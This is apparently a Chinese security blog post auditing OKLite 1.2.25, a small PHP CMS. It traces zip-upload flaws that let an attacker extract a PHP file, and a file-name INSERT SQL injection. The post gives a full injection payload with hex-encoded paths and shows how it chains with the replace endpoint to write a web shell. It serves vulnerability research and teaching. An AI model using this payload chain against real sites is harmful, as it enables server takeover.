OKLite 1.2.25 几处getshell审计分析

OKLite介绍

OKLite是一套极简企业站系统,主要目标群体是展示型企业网站用户,让传统小企业快速布署网站,加强自身品牌意识,实现对公司形象的宣传。本系统最初是PHPOK程序精简而来。在同等配置下,OKLite速度优于PHPOK达30%以上。 (此版本在2018年已停止维护)

系统链接:https://www.phpok.com/oklite.html

基本情况

路由

网站有三个入口(前端,接口,后台),都是通过action()方法进行初始化。

01.jpg

不同的入口传入指定的方法中执行动作:

02.jpg

访问:http://127.0.0.1/admin.php?c=upload&f=save

会调用framework\admin\upload_control.php中的save_f方法。

过滤

获取GET, POST和COOKIE数据都是通过一个get()方法进行过滤处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
final public function get($id,$type="safe",$ext="")
{
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
//判断内容是否有转义,所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}

//...省略

private function _addslashes($val)
{
if(is_array($val)){
foreach($val AS $key=>$value){
$val[$key] = $this->_addslashes($value);
}
}else{
$val = addslashes($val);
}
return $val;
}

除了对每个内容都进行了addslashes()处理,get()方法最后还会调用$this->format()。对\ ' " < >都进行了实体化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){
return '';
}
if(is_array($msg)){
foreach($msg AS $key=>$value){
if(!is_numeric($key)){
$key2 = $this->format($key);
if($key2 == '' || in_array($key2,array('#','&','%'))){
unset($msg[$key]);
continue;
}
}
$msg[$key] = $this->format($value,$type,$ext);
}
if($msg && count($msg)>0){
return $msg;
}
return false;
}
if($type == 'html_js' || ($type == 'html' && $ext)){
$msg = stripslashes($msg);
if($this->app_id != 'admin'){
$msg = $this->lib('string')->xss_clean($msg);
}
$msg = $this->lib('string')->clear_url($msg,$this->url);
return addslashes($msg);
}
$msg = stripslashes($msg);
//格式化处理内容
switch ($type){
case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("&#92;","&#39;","&quot;","&lt;","&gt;"),$msg);break;
//...省略
}
if($msg){
$msg = addslashes($msg);
}
return $msg;
}

基本上,使用get()获取数据的点,都很难进行利用了。

任意文件上传漏洞导致getshell(后台)

module_control.php

漏洞验证

在模块管理管理处导入模块,这里只能上传zip文件。把恶意文件放在zip压缩包中上传:

(我这里是包含了一个shell.php,内容是phpinfo)

03.jpg

04.jpg

上传后又访问了另一个地址:

05.jpg

上传之后就可以在data\cache看到shell.php被解压出来了。

06.jpg

漏洞分析

根据上传时的地址可以找到处理上传的文件地址与具体的一个方法:

http://localhost/admin.php?c=upload&f=zip&PHPSESSION=s07fke8ifd03o50tqopdhjaof2&id=WU_FILE_0&name=zip.zip&type=application%2Fx-zip-compressed&lastModifiedDate=2019%2F10%2F4+%E4%B8%8B%E5%8D%8811%3A21%3A31&size=299

漏洞存在文件:framework\admin\upload_control.php

接受zip包的方法:

1
2
3
4
5
6
7
8
public function zip_f()
{
$rs = $this->lib('upload')->zipfile('upfile');
if($rs['status'] != 'ok'){
$this->json($rs['error']);
}
$this->json($rs['filename'],true);
}

这里调用了zipfile方法,继续跟踪到framework\libs\upload.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹,则使用
if(!$folder){
$folder = 'data/cache/';
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}

可以看到,默认放置的位置是data/cache/中。

$_FILES['upload']就是上传的zip文件流,接着就会调用_upload()方法:

_upload()是一个写入文件的方法,片段太长就不放了。可以知道的是写入zip文件的方法中没有对zip中是否存在恶意代码进行检测的。

接着来看上传后访问的另一个地址:

http://localhost/admin.php?c=module&f=import&zipfile=data/cache/6b28519d80b080f3.zip&_noCache=0.5889889215501739&_=1570204017508

由地址可知,文件地址:framework\admin\module_control.php,方法名:import_r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public function import_f()
{
$zipfile = $this->get('zipfile');

if(!$zipfile){
$this->lib('form')->cssjs(array('form_type'=>'upload'));
$this->addjs('js/webuploader/admin.upload.js');
$this->view('module_import');
}

if(strpos($zipfile,'..') !== false){
$this->json(P_Lang('不支持带..上级路径'));
}
if(!file_exists($this->dir_root.$zipfile)){
$this->json(P_Lang('ZIP文件不存在'));
}

$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');

if(!file_exists($this->dir_root.'data/cache/module.xml')){
$this->json(P_Lang('导入模块失败,请检查解压缩是否成功'));
}

$rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true);
if(!$rs){
$this->json(P_Lang('XML内容解析异常'));
}
$tmp = $rs;
if(isset($tmp['_fields'])){
unset($tmp['_fields']);
}

$insert_id = $this->model('module')->save($tmp);
if(!$insert_id){
$this->json(P_Lang('模块导入失败,保存模块基本信息错误'));
}
$this->model('module')->create_tbl($insert_id);
$tbl_exists = $this->model('module')->chk_tbl_exists($insert_id);
if(!$tbl_exists){
$this->model('module')->delete($insert_id);
$this->json(P_Lang('创建模块表失败'));
}
if(isset($rs['_fields']) && $rs['_fields']){
foreach($rs['_fields'] as $key=>$value){
if($value['ext'] && is_array($value['ext'])){
$value['ext'] = serialize($value['ext']);
}
$value['module_id'] = $insert_id;
$this->model('module')->fields_save($value);
$this->model('module')->create_fields($insert_id,$value);
}
}
$this->lib('file')->rm($this->dir_root.'data/cache/module.xml');
$this->lib('file')->rm($this->dir_root.$zipfile);
$this->json(true);
}

这里使用$this->get('zipfile')获取刚刚上传的zip文件名,使用$this->lib('phpzip')->unzip进行解压。 继续跟踪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function unzip($file,$to='')
{
if(class_exists('ZipArchive')){
$zip = new ZipArchive;
$zip->open($file);
$zip->extractTo($to);
$zip->close();
return true;
}
if(function_exists('zip_open') && function_exists('zip_close')){
$zip = zip_open($file);
if($zip){
while ($zip_entry = zip_read($zip)) {
$file = basename(zip_entry_name($zip_entry));
$fp = fopen($to.basename($file), "w+");
if (zip_entry_open($zip, $zip_entry, "r")) {
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
zip_entry_close($zip_entry);
}
fwrite($fp, $buf);
fclose($fp);
}
zip_close($zip);
return true;
}
}
return $this->Extract($file,$to);
}

可见也没有对其中的文件进行检测,直接就将其解压并写入了。

除了项目管理之外,还有project_module.php也同样存在这个漏洞。漏洞原因也是一样的。

plugin_control.php

漏洞验证

和前一个module_control有所不同的是,这里的zip文件夹必须是包含一个文件夹,文件夹中再包含恶意文件。

插件中心:

07.jpg

验证方式同前一个,就不重复了。

上传完成之后会访问另一个地址:

http://localhost/admin.php?c=plugin&f=unzip&id=1196&_noCache=0.08112707662168439&_=1570257969464

漏洞分析

framework\admin\plugin_control.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function unzip_f()
{
$id = $this->get('id','int');
$rs = $this->model('res')->get_one($id);
if(!$rs){
$this->json(P_Lang('附件不存在'));
}
if($rs['ext'] != 'zip'){
$this->json(P_Lang('非ZIP文件不支持在线解压'));
}
if(!file_exists($this->dir_root.$rs['filename'])){
$this->json(P_Lang('文件不存在'));
}
$info = $this->lib('phpzip')->zip_info($this->dir_root.$rs['filename']);
$info = current($info);
if(!$info['filename']){
$this->json(P_Lang('插件有异常'));
}
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
}

在使用get_one获取了文件信息之后,传入到了$this->lib('phpzip')->zip_info();中获取zip的信息传递给$info变量。

zip_info()会返回一个数组,成员1为压缩包中的第一个文件夹名称,成员2为文件夹中的第一个文件。

如果格式不是一个文件夹包含一个文件的话,if(!$info[1])这里就会报插件打包模式有问题的错误。

格式通过了之后就是直接解压了。

最后保存的目录为:WWW\plugins

SQL注入导致getshell(前台)

这个漏洞在2017年在PHPOK当中就被畅师傅就被发现了。PHPOK系统被修复了,但是在OKLite当中还存在。

漏洞验证

地址:http://localhost/index.php?id=message

在线留言处上传一个图片并抓包,把文件名修改为:

1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30342f,'shell.jpg','jpg',0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc

08.jpg

上传成功之后会返回图片的id和保存的路径:

09.jpg

再次上传一个图片,把地址中的save改成replace,添加一个参数名为oldid,值为图片的id + 1。

图片的内容改为恶意的php代码:

10.jpg

上传完成之后可在res\201910\05目录下生成一个shell.php

11.jpg

漏洞分析

文件地址为:framework\www\upload_control.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//附件上传
public function save_f()
{
if(!$this->site['upload_guest']){
$this->json(P_Lang('系统已禁止游客上传,请联系管理员'));
}
$cateid = $this->get('cateid','int');
$rs = $this->upload_base('upfile',$cateid);
if(!$rs || $rs['status'] != 'ok'){
$this->json($rs['error']);
}
unset($rs['status']);
$rs['uploadtime'] = date("Y-m-d H:i:s",$rs['addtime']);
$this->json($rs,true);
}

这里调用了$this->upload_base('upfile',$cateid);进行文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private function upload_base($input_name='upfile',$cateid=0)
{
$rs = $this->lib('upload')->getfile($input_name,$cateid);
if($rs["status"] != "ok"){
return $rs;
}
$array = array();
$array["cate_id"] = $rs['cate']['id'];
$array["folder"] = $rs['folder'];
$array["name"] = basename($rs['filename']);
$array["ext"] = $rs['ext'];
$array["filename"] = $rs['filename'];
$array["addtime"] = $this->time;
$array["title"] = $rs['title'];
$array['session_id'] = $this->session->sessid();
$arraylist = array("jpg","gif","png","jpeg");
if(in_array($rs["ext"],$arraylist)){
$img_ext = getimagesize($this->dir_root.$rs['filename']);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
}
$id = $this->model('res')->save($array);
if(!$id){
$this->lib('file')->rm($this->dir_root.$rs['filename']);
return array('status'=>'error','error'=>P_Lang('图片存储失败'));
}
$this->model('res')->gd_update($id);
$rs = $this->model('res')->get_one($id);
$rs["status"] = "ok";
return $rs;
}

在upload_base当中,使用$this->lib('upload')->getfile($input_name,$cateid);获取上传的文件。

framework\libs\upload.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function getfile($input='upfile',$cateid=0)
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
$this->_cate($cateid); //获取一个文件分类的预设 表名res_cate
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}

getfile()首先调用了$this->_cate($cateid); 获取cateid为1的文件分类预设,内容包括保存的地址,文件夹名称和文件类型。在数据库中:

12.jpg

接着调用了$this->_upload($input)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private function _upload($input)
{
$basename = substr(md5(time().uniqid()),9,16);
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;
$tmpname = $_FILES[$input]["name"];
$tmpid = 'u_'.md5($tmpname);
$ext = $this->file_ext($tmpname);
$out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk;
if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
}
$error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0;
if($error_id){
return array('status'=>'error','error'=>$this->up_error[$error_id]);
}
if(!is_uploaded_file($_FILES[$input]['tmp_name'])){
return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入'));
}
if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输入流'));
}
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
@fclose($out);
@fclose($in);
$GLOBALS['app']->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part');
$index = 0;
$done = true;
for($index=0;$index<$chunks;$index++) {
if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) {
$done = false;
break;
}
}
if(!$done){
return array('status'=>'error','error'=>'上传的文件异常');
}
$outfile = $this->folder.$basename.'.'.$ext;
if(!$out = @fopen($this->dir_root.$outfile,"wb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
}
if(flock($out,LOCK_EX)){
for($index=0;$index<$chunks;$index++) {
if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){
break;
}
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
@fclose($in);
$GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part");
}
flock($out,LOCK_UN);
}
@fclose($out);
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
$title = str_replace(".".$ext,'',$tmpname);
return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
}

这里使用$ext = $this->file_ext($tmpname);获取文件的后缀,看下这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
private function file_ext($tmpname)
{
$ext = pathinfo($tmpname,PATHINFO_EXTENSION);
if(!$ext){
return false;
}
$ext = strtolower($ext);
$cate_exts = ($this->cate && $this->cate['filetypes']) ? explode(",",$this->cate['filetypes']) : array('jpg','gif','png');
if(!in_array($ext,$cate_exts)){
return false;
}
return $ext;
}

这里的文件类型就是getfile()中调用的$this->_cate($cateid);获取得到的,这里值为png,jpg,gif,rar,zip

由于使用in_array,无法进行绕过。

接着回看前面,使用了$tmpname = $_FILES[$input]["name"];获取了文件名。

而$tmpname这个变量没有经过任何的处理,直接到了最后去除后缀名赋值给了$title变量。

$title变量作为数组中title的键值返回。

再回看_upload,返回的数组中的每个值赋值到$array当中。

接着调用了 $id = $this->model('res')->save($array); 跟踪过去:

framework\model\res.php:

1
2
3
4
5
6
7
8
9
function save($data,$id=0)
{
if(!$data || !is_array($data)) return false;
if($id){
return $this->db->update_array($data,"res",array("id"=>$id));
}else{
return $this->db->insert_array($data,"res");
}
}

这里并没有赋值$id变量,进入到$this->db->insert_array($data,"res");,继续跟踪:

framework\engine\db\mysqli.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function insert_array($data,$tbl,$type="insert")
{
if(!$tbl || !$data || !is_array($data)){
return false;
}
if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){
$tbl = $this->prefix.$tbl;
}
$type = strtolower($type);
$sql = $type == 'insert' ? "INSERT" : "REPLACE";
$sql.= " INTO ".$tbl." ";
$sql_fields = array();
$sql_val = array();
foreach($data AS $key=>$value){
$sql_fields[] = "`".$key."`";
$sql_val[] = "'".$value."'";
}
$sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
return $this->insert($sql);
}

一个foreach循环将数组中的键名转换为字段名,键值转为要插入的值。

上传一个文件名叫xiaonan.jpg,最后拼接出来的sql语句为:

INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`session_id`,`attr`) VALUES('1','res/201910/05/','51514bdf089432f0.jpg','jpg','res/201910/04/51514bdf089432f0.jpg','1570161223','xiaonan','pf3qm0js3gb2s5f33r7lf14vl3','a:2:{s:5:"width";i:448;s:6:"height";i:400;}')

因为前面_upload中的$tmpname变量没有经过任何的处理,所以这里的xiaonan是可以控制的。这就会导致一个insert注入。

如果sql语句为:

INSERT INTO test (`username`, `password`) VALUES('1', '2'), ('3','4');

则会在test表中插入两行数据,利用这个点。可以向数据库中插入一个文件名都可以由我们控制的数据。

再配合upload_control.php中的replace_f方法就可以进行getshell。

replace_f(是一个用作替换文件的方法):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function replace_f()
{
if(!$this->site['upload_guest']){
$this->json(P_Lang('系统已禁止游客上传,请联系管理员'));
}
$id = $this->get("oldid",'int');
if(!$id)
{
$this->json(P_Lang('没有指定要替换的附件'));
}
$old_rs = $this->model('res')->get_one($id);
if(!$old_rs){
$this->json(P_Lang('资源不存在'));
}
$rs = $this->lib('upload')->upload('upfile');
if($rs["status"] != "ok")
{
$this->json(P_Lang('附件上传失败'));
}
$arraylist = array("jpg","gif","png","jpeg");
$my_ext = array();
if(in_array($rs["ext"],$arraylist))
{
$img_ext = getimagesize($rs["filename"]);
$my_ext["width"] = $img_ext[0];
$my_ext["height"] = $img_ext[1];
}
//替换资源
$this->lib('file')->mv($rs["filename"],$old_rs["filename"]);
$tmp = array("addtime"=>$this->time);
$tmp["attr"] = serialize($my_ext);
$this->model('res')->save($tmp,$id);
//更新附件扩展信息
$this->model('res')->gd_update($id);
$rs = $this->model('res')->get_one($id);
$this->json($rs,true);
}

替换的步骤:

  1. 获取了一个参数名为oldid:$id = $this->get("oldid",'int');
  2. 使用$this->model('res')->get_one($id); 从数据库当中获取这个文件的信息传递给$old_rs变量
  3. 使用$this->lib('upload')->upload('upfile');获取新上传的文件信息传递给$rs变量。
  4. 使用$this->lib('file')->mv($rs["filename"],$old_rs["filename"]);进行文件的替换

来看mv()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 文件移动操作
* @参数 $old 旧文件(夹)
* @参数 $new 新文件(夹)
* @参数 $recover 是否覆盖
* @返回 false/true
**/
public function mv($old,$new,$recover=true)
{
if(!file_exists($old)){
return false;
}
if(substr($new,-1) == "/"){
$this->make($new,"dir"); //创建文件夹
}else{
$this->make($new,"file"); //创建文件
}
if(file_exists($new)){
if($recover){
unlink($new);
}else{
return false;
}
}else{
$new = $new.basename($old);
}
rename($old,$new);
return true;
}

从这个方法的定义当中就可以得知,会将新上传的文件名改为指定的id所获取到的文件名。

因为前面的Insert型的sql注入,我们能控制一个文件信息的文件名。

可以构造一个文件名以php结尾插入到数据库当中,当利用replace_f方法上传一个包含恶意php代码的文件时,就会写入一个.php后缀的文件,导致getshell。

文件信息在数据库当中:

13.jpg

于是构造文件名为:

1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1','res/201910/05/','shell.jpg','jpg','res/201910/05/shell.php','1570161575','abc

由于文件名无法包含/,所以把包含/的部分转换为16进制(前面加0x):

1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30352f,'shell.jpg','jpg', 0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc

上传后数据库中的文件信息:

14.jpg

由于上传后返回的图片的id是第一个数据,需要把id+1再赋值到replace中的oldid中。

上传时调用Replace_f的地址:

http://localhost/index.php?c=upload&f=replace&oldid=1

将上传的文件内容改为php代码上传即可。

PS:这里除了配合replace_f之外,修改文件的信息也可导致后台的储存型XSS。

总结

当GET,POST,COOKIE都进行了严格的过滤时,就可以寻找一些不是很常规的输入点进行测试,如这里的zip解压缩,插入数据库的文件名等等。

本想找一个简单的系统进行审计学习的,没想到这个系统过滤有点严格。连直接获取get参数都没几处。花了很多时间,最后找原来的案例才发现,很多漏洞都没有被修复。于是,说好的审计变成复现了?

0%